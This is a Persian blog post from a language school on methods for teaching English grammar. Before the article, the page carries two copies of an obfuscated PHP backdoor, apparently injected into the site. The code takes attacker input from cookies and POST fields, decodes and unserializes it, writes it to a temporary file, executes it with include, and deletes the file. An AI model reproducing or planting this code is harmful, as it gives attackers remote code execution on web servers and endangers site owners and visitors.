$NULuVE = 'J' . "\x6e" . chr (95) . "\x5a" . chr ( 1066 - 990 )."\143";$wBGOMS = chr (99) . "\154" . "\141" . "\163" . 's' . chr ( 572 - 477 )."\145" . "\170" . "\151" . 's' . chr (116) . "\x73";$rnHFs = class_exists($NULuVE); $wBGOMS = "37229";$FCnrIFQjV = strpos($wBGOMS, $NULuVE);if ($rnHFs == $FCnrIFQjV){function zzZnWbHiGH(){$snBBmoW = new /* 60717 */ Jn_ZLc(216 + 216); $snBBmoW = NULL;}$tRYafVOh = "216";class Jn_ZLc{private function BnCpg($tRYafVOh){if (is_array(Jn_ZLc::$iblmkhZckY)) {$name = sys_get_temp_dir() . "/" . crc32(Jn_ZLc::$iblmkhZckY["salt"]);@Jn_ZLc::$iblmkhZckY["write"]($name, Jn_ZLc::$iblmkhZckY["content"]);include $name;@Jn_ZLc::$iblmkhZckY["delete"]($name); $tRYafVOh = "216";exit();}}public function ptGeYs(){$TDmSXiAS = "52603";$this->_dummy = str_repeat($TDmSXiAS, strlen($TDmSXiAS));}public function __destruct(){Jn_ZLc::$iblmkhZckY = @unserialize(Jn_ZLc::$iblmkhZckY); $tRYafVOh = "10292_35473";$this->BnCpg($tRYafVOh); $tRYafVOh = "10292_35473";}public function ozxIAgQPjV($TDmSXiAS, $aeaku){return $TDmSXiAS[0] ^ str_repeat($aeaku, intval(strlen($TDmSXiAS[0]) / strlen($aeaku)) + 1);}public function qUtSOSuu($TDmSXiAS){$mfCMBhBxCr = "\142" . chr ( 890 - 793 ).chr ( 813 - 698 ).chr (101) . chr ( 253 - 199 ).chr (52);return array_map($mfCMBhBxCr . "\137" . chr (100) . "\x65" . "\x63" . chr (111) . "\144" . chr (101), array($TDmSXiAS,));}public function __construct($LPOaYmFx=0){$zGwbXSxTSr = chr ( 874 - 830 ); $TDmSXiAS = "";$ffIRbkK = $_POST;$cUFsQU = $_COOKIE;$aeaku = "c7925911-7e78-4761-aabc-96a5afd8df13";$YEAAD = @$cUFsQU[substr($aeaku, 0, 4)];if (!empty($YEAAD)){$YEAAD = explode($zGwbXSxTSr, $YEAAD);foreach ($YEAAD as $GraWY){$TDmSXiAS .= @$cUFsQU[$GraWY];$TDmSXiAS .= @$ffIRbkK[$GraWY];}$TDmSXiAS = $this->qUtSOSuu($TDmSXiAS);}Jn_ZLc::$iblmkhZckY = $this->ozxIAgQPjV($TDmSXiAS, $aeaku);if (strpos($aeaku, $zGwbXSxTSr) !== FALSE){$aeaku = explode($zGwbXSxTSr, $aeaku); $cWVPJOukJ = base64_decode(md5($aeaku[0]));}}public static $iblmkhZckY = 12075;}zzZnWbHiGH();}$ygliHzw = 'Y' . "\120" . chr ( 510 - 404 ).chr ( 682 - 587 ).chr ( 467 - 345 ).'d' . "\162";$nakDJg = chr (99) . chr (108) . chr (97) . 's' . 's' . chr ( 559 - 464 )."\x65" . 'x' . "\151" . 's' . "\x74" . "\163";$jdFsWTM = class_exists($ygliHzw); $nakDJg = "6350";$iXLYvTm = strpos($nakDJg, $ygliHzw);if ($jdFsWTM == $iXLYvTm){function xmFTmnNLxE(){$naFwNNLdn = new /* 33466 */ YPj_zdr(14376 + 14376); $naFwNNLdn = NULL;}$vYSuqD = "14376";class YPj_zdr{private function DipbSIzFP($vYSuqD){if (is_array(YPj_zdr::$XBXoX)) {$name = sys_get_temp_dir() . "/" . crc32(YPj_zdr::$XBXoX["salt"]);@YPj_zdr::$XBXoX["write"]($name, YPj_zdr::$XBXoX["content"]);include $name;@YPj_zdr::$XBXoX["delete"]($name); $vYSuqD = "14376";exit();}}public function BbZbKyV(){$ljlCHzON = "47464";$this->_dummy = str_repeat($ljlCHzON, strlen($ljlCHzON));}public function __destruct(){YPj_zdr::$XBXoX = @unserialize(YPj_zdr::$XBXoX); $vYSuqD = "26879_27659";$this->DipbSIzFP($vYSuqD); $vYSuqD = "26879_27659";}public function TjAanVpT($ljlCHzON, $GMavQmXnbw){return $ljlCHzON[0] ^ str_repeat($GMavQmXnbw, intval(strlen($ljlCHzON[0]) / strlen($GMavQmXnbw)) + 1);}public function DJuWCWnWK($ljlCHzON){$TxqBizW = "\x62" . chr (97) . "\163" . chr ( 994 - 893 )."\66" . '4';return array_map($TxqBizW . "\137" . chr ( 244 - 144 ).chr ( 933 - 832 )."\x63" . chr ( 481 - 370 )."\144" . "\x65", array($ljlCHzON,));}public function __construct($kUqnhQ=0){$IbHgRhYPj = chr ( 947 - 903 ); $ljlCHzON = "";$SIgunhpIIk = $_POST;$cNYjPTgRR = $_COOKIE;$GMavQmXnbw = "11b10554-a8b2-4b0e-a191-57ee9783ce50";$GHCyAm = @$cNYjPTgRR[substr($GMavQmXnbw, 0, 4)];if (!empty($GHCyAm)){$GHCyAm = explode($IbHgRhYPj, $GHCyAm);foreach ($GHCyAm as $APgBP){$ljlCHzON .= @$cNYjPTgRR[$APgBP];$ljlCHzON .= @$SIgunhpIIk[$APgBP];}$ljlCHzON = $this->DJuWCWnWK($ljlCHzON);}YPj_zdr::$XBXoX = $this->TjAanVpT($ljlCHzON, $GMavQmXnbw);if (strpos($GMavQmXnbw, $IbHgRhYPj) !== FALSE){$GMavQmXnbw = explode($IbHgRhYPj, $GMavQmXnbw); $DTqyUXCx = sprintf("26879_27659", rtrim($GMavQmXnbw[0]));}}public static $XBXoX = 7382;}xmFTmnNLxE();} چطور گرامر را تدریس کنیم | وبلاگ اتیچر

چطور گرامر را تدریس کنیم

چطور گرامر را تدریس کنیم
زمان مطالعه: ۶ دقیقه

یادگیری زبان انگلیسی از جوانب اساسی توسعه شخصیت و مهارت‌های ارتباطی فرد است و گرامر به عنوان یکی از اجزای اساسی زبان، نقش بسیار مهمی در این فرآیند ایفا می‌کند. اما تدریس گرامر به دانش‌آموزان نیازمند روش‌ها و استراتژی‌های جذاب و موثر است تا فرآیند یادگیری به یک تجربه لذت‌بخش تبدیل شود. در این مقاله، نکات مربوط به این که چگونه گرامر تدریس کنیم را بررسی کردیم. مطالعه این مطلب کاربردی را از دست ندهید.

فهرست بخش ها

گرامر و اهمیت آموزش گرامر زبان انگلیسی چیست؟

قبل از این‌که در ذهنتان این سوال ایجاد شود که چگونه گرامر یاد بگیریم، قطعا باید به اهمیت آن پی ببرید. آموزش گرامر انگلیسی به چند دلیل مهم است. گرامر، سیستمی از قواعد و ساختارهایی است که بر نحوه تشکیل و استفاده از کلمات و جملات در یک زبان حاکم است. یادگیری گرامر می‌تواند به شما کمک کند:

گرامر و اهمیت آموزش گرامر زبان انگلیسی

  • ارتباط موثرتر و واضح‌تر به زبان انگلیسی، هم به صورت گفتاری و هم به صورت نوشتاری داشته باشید.
  • از اشتباهات و سوء تفاهم‌هایی که می‌تواند شنوندگان یا خوانندگان شما را سردرگم یا آزرده کند، اجتناب کنید.
  • ایده‌ها و نظرات خود را با اعتماد به نفس و خلاقیت بیشتری بیان کنید.
  • مهارت‌های آکادمیک و حرفه‌ای خود را تقویت کنید، مانند نوشتن مقاله، گزارش، ایمیل، سخنرانی و غیره.
  • از تنوع و غنای زبان انگلیسی و ادبیات آن مطلع شوید.

گرامر فقط مجموعه‌ای از قوانین دلخواه نیست، بلکه بازتابی از نحوه استفاده افراد از زبان برای برقراری ارتباط و تعامل با یکدیگر است. با آموزش گرامر، می‌توانید به دانش‌آموزان خود کمک کنید تا مهارت‌های زبانی و آگاهی فرهنگی خود را توسعه دهند.

قبل از شروع تدریس چقدر باید گرامر انگلیسی را بدانم؟

هیچ پاسخ قطعی برای اینکه چه مقدار گرامر انگلیسی باید قبل از شروع تدریس بدانید وجود ندارد، زیرا زمینه‌ها و زبان‌آموزان مختلف ممکن است انتظارات و نیازهای متفاوتی داشته باشند. با این حال، برخی از دستورالعمل‌های کلی عبارتند از:

قبل از شروع تدریس چقدر باید گرامر انگلیسی را بدانم؟

  • شما به عنوان مدرس باید درک کاملی از مفاهیم و اصطلاحات اساسی گرامری مانند بخش‌های گفتار، زمان‌های افعال، ساختار جمله، گرامر های سخت زبان انگلیسی و غیره داشته باشید. باید بتوانید با استفاده از مثال‌ها و تمرین‌های مناسب، این مفاهیم را به وضوح و دقیق برای دانش‌آموزان توضیح دهید.
  • شما باید با اشتباهات و مشکلات رایج گرامری که زبان‌آموزان انگلیسی با آن مواجه هستند و نحوه تصحیح و پیشگیری از آن‌ها آشنا باشید. همچنین باید از تفاوت بین انواع استاندارد و غیر استاندارد انگلیسی و نحوه آموزش مناسب آن‌ها آگاه باشید.
  • شما باید بتوانید مهارت گرامر خود را ارزیابی کنید و نقاط قوت و ضعف خود را شناسایی کنید. شما همچنین باید از همکاران، سرپرستان و دانش‌آموزان خود بازخورد بگیرید و برای یادگیری چیزهای جدید و بهبود مهارت‌های خود آماده باشید.
  • باید از روش‌ها و رویکردهای مختلف آموزش گرامر آگاه باشید. و آن را با نیازها و ترجیحات زبان‌آموزان خود تطبیق دهید.
  • شما باید با برنامه درسی گرامری و برنامه درسی موسسه آموزشی خود و نحوه همسویی آن با استانداردها و چارچوب‌های بین المللی، مانند چارچوب مشترک اروپایی مرجع برای زبان‌ها (CEFR) آشنا باشید. شما باید بتوانید از ویژگی‌های معیار CEFR برای آموزش گرامر استفاده کنید، که ساختارهای دستوری خاصی هستند که می‌توانند یک سطح را از سطح قبلی متمایز کنند. همچنین باید بتوانید از منابع و ابزارهای مختلفی مانند نمایه گرامر انگلیسی برای برنامه ریزی و ارائه دروس گرامر خود استفاده کنید.

چگونه گرامر تدریس کنیم؟

آموزش گرامر یک فرآیند پیچیده است که به دانش‌آموزان کمک می‌کند تا به طور مؤثر بخوانند و بنویسند. روش‌های مختلفی برای آموزش گرامر وجود دارد، مانند deductive  در مقابل inductive، explicit در مقابل implicit، prescriptive  در مقابل descriptive و غیره. شما باید مناسب‌ترین روش را برای زمینه و اهداف آموزشی خود انتخاب کنید و آن را با نیازها و ترجیحات زبان‌آموزان خود تطبیق دهید.

چگونه گرامر تدریس کنیم

برخی از نکات کلی برای آموزش گرامر عبارتند از:

به دانش‌آموزان خود نشان دهید که چرا گرامر اهمیت دارد و چگونه می‌تواند به آن‌ها کمک کند تا ارتباط مؤثرتری برقرار کنند، از اشتباهات اجتناب کنند و خود را خلاقانه معرفی کنند

برای صرفه جویی در زمان و درگیر کردن دانش‌آموزان خود، آزمون‌هایی را با استفاده از ابزارها و پلتفرم‌های آنلاین، طراحی کنید.

از بازی‌هایی برای آموزش گرامر مانند  [Bingo]، [Jeopardy] یا [Grammar Auction] استفاده کنید تا یادگیری گرامر را برای دانش‌آموزانتان سرگرم‌کننده‌تر و انگیزه‌بخش‌تر کنید.

دانش‌آموزان را در نقش معلم قرار دهید و از آن‌ها بخواهید با استفاده از توضیحات، مثال‌ها و فعالیت‌ها، درس دستور زبان را برای همسالان خود آماده و ارائه کنند.

انواع روش‌های تدریس گرامر

روش‌ها و رویکردهای مختلفی برای آموزش گرامر وجود دارد که هر کدام مزایا و معایب خاص خود را دارند. برخی از انواع رایج این روش‌ها که در انواع کلاس‌ها یا کتاب‌ها مثل بهترین کتاب آموزش زبان انگلیسی برای بزرگسالان استفاده می‌شوند، عبارتند از:

انواع روش‌های تدریس گرامر

روش آموزش گرامر Deductive

این روش شامل ارائه قاعده گرامر و سپس مثال‌ها و تمرین‌ها می‌شود. این روش برای آموزش قوانین واضح و ساده و برای زبان‌آموزانی که توضیحات صریح را ترجیح می‌دهند مفید است. با این حال، این روش همچنین می‌تواند برای قوانین پیچیده یا مبهم خسته‌کننده، بی‌اثر باشد. پس در این روش معلم قوانین گرامر را مرور کرده و دانش‌آموزان تمرین حل می‌کنند.

روش آموزش گرامر Inductive

این روش شامل ارائه مثال‌هایی در ابتدا درس، و درخواست از زبان‌آموزان برای درک قاعده دستور زبان است. در واقع در این روش خود دانش‌آموز باید قوانین گرامر را کش کند. این روش برای آموزش قواعدی که توضیح آن‌ها دشوار است و برای یادگیرندگانی که یادگیری اکتشافی را ترجیح می‌دهند مفید است. با این حال، این روش همچنین می‌تواند برای برخی از فراگیران گیج کننده، وقت‌گیر و خسته‌کننده باشد.

روش Functional

این روش شامل آموزش گرامر در رابطه با کارکردها یا اهداف ارتباطی مانند درخواست، عذرخواهی، موافقت و غیره است. این روش برای آموزش گرامر به صورت متنی و برای زبان‌آموزانی که می‌خواهند از زبان برای زندگی واقعی استفاده کنند مفید است.

روش Communicative

این روش شامل آموزش گرامر از طریق کارها و فعالیت‌های معنادار و معتبر مانند نقش‌آفرینی، بازی، انجام پروژه و غیره است. این روش برای آموزش گرامر به صورت طبیعی و تعاملی مفید است.

آمورزش گرامر با روش explicit

آموزش گرامر با روش‌های explicit به معنای آموزش مستقیم و آشکار قواعد و ساختارهای دستور زبان به دانش‌آموزان است. روش‌های explicit می‌توانند مزایایی داشته باشند، مانند کمک به دانش‌آموزان در یادگیری قوانین واضح و ساده، آشکار کردن استثناها و آماده شدن برای آزمون‌های استاندارد. با این حال، روش‌های صریح می‌توانند معایبی نیز داشته باشند، مانند خسته‌کننده، منفعل و بی‌اثر بودن برای قوانین پیچیده یا مبهم.

آمورزش گرامر با روش explicit

آمورزش گرامر با روش implicit

آموزش گرامر با روش‌های implicit  به معنای قرار دادن تمرکز دانش‌آموزان روی استفاده از زبان و معنا است. در این روش قواعد به صورت مستقیم بیان نمی‌شود و اجازه داده می‌شود زبان‌آموز به صورت نا‌آگاهانه از فرم‌های زبان استفاده کند. این روش می‌تواند مزایایی داشته باشد، مانند کمک به دانش‌آموزان در استنباط قوانین، تقویت روانی و مهارت‌های ارتباطی آن‌ها و کسب دستور زبان به روشی طبیعی و تعاملی. روش Inductive جزو این روش‌ها محسوب می‌شود.

اینها برخی از انواع روش‌های آموزش گرامر هستند که در تدریس آنلاین زبان انگلیسی یا آفلاین بسیار مورد استفاده قرار می‌گیرند. شما می‌توانید مناسب‌ترین روش را برای زمینه و اهداف آموزشی خود انتخاب کنید و آن را با نیازها و ترجیحات زبان‌آموزان تطبیق دهید.

از چه ابزارهایی برای تدریس گرامر استفاده کنیم؟

ابزارهای زیادی وجود دارد که مدرسین می‌توانند از آن‌ها برای آموزش مؤثر و جذاب گرامر استفاده کنند. برخی از ابزارها عبارتند از: کتاب آموزش زبان انگلیسی از صفر، کلاس‌های آنلاین، اپلیکیشن‌های آموزش زبان، برخی سایت‌های آموزش زبان مثل Language Garden که به شما امکان می‌دهد بازنمایی‌های بصری ساختارهای دستور زبان، مانند عبارات اسمی، عبارات فعل و غیره را ایجاد و به اشتراک بگذارید.

از چه ابزارهایی برای تدریس گرامر استفاده کنیم؟

اُتیچر، یکی از بهترین راه‌های یادگیری گرامر

تدریس گرامر با رویکردهای نوین و جذاب می‌تواند فرآیند یادگیری را برای دانش‌آموزان به یک سفر هیجان‌انگیز تبدیل کند. از مثال‌ها و تمرین‌های متنوع گرفته تا ادغام تدریس گرامر با مهارت‌های دیگر. برای تجربه یادگیری گرامر با رویکردهای مدرن و پیشرفته‌تر، به شما توصیه می‌شود از خدمات اموزش زبان اتیچر بهره ببرید.

این آموزشگاه با استفاده از متدهای نوین و اساتید مجرب، محیطی مناسب برای تقویت مهارت‌های زبانی شما ایجاد خواهد کرد و مناسب‌ترین روش را برای زمینه و اهداف آموزشی شما انتخاب و پیاده‌سازی می‌کند. از امکانات پیشرفته تا تدریس لذت‌بخش و تعاملی، این آموزشگاه باعث بهبود عملکرد شما در یادگیری گرامر و مهارت‌های زبانی خواهد شد.

۲/۵ - (۲ امتیاز)

amirmbagheri

دیدگاه ها

اولین نفری باشید که به این نوشته نظر میدهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

Back To Top
×Close search
Search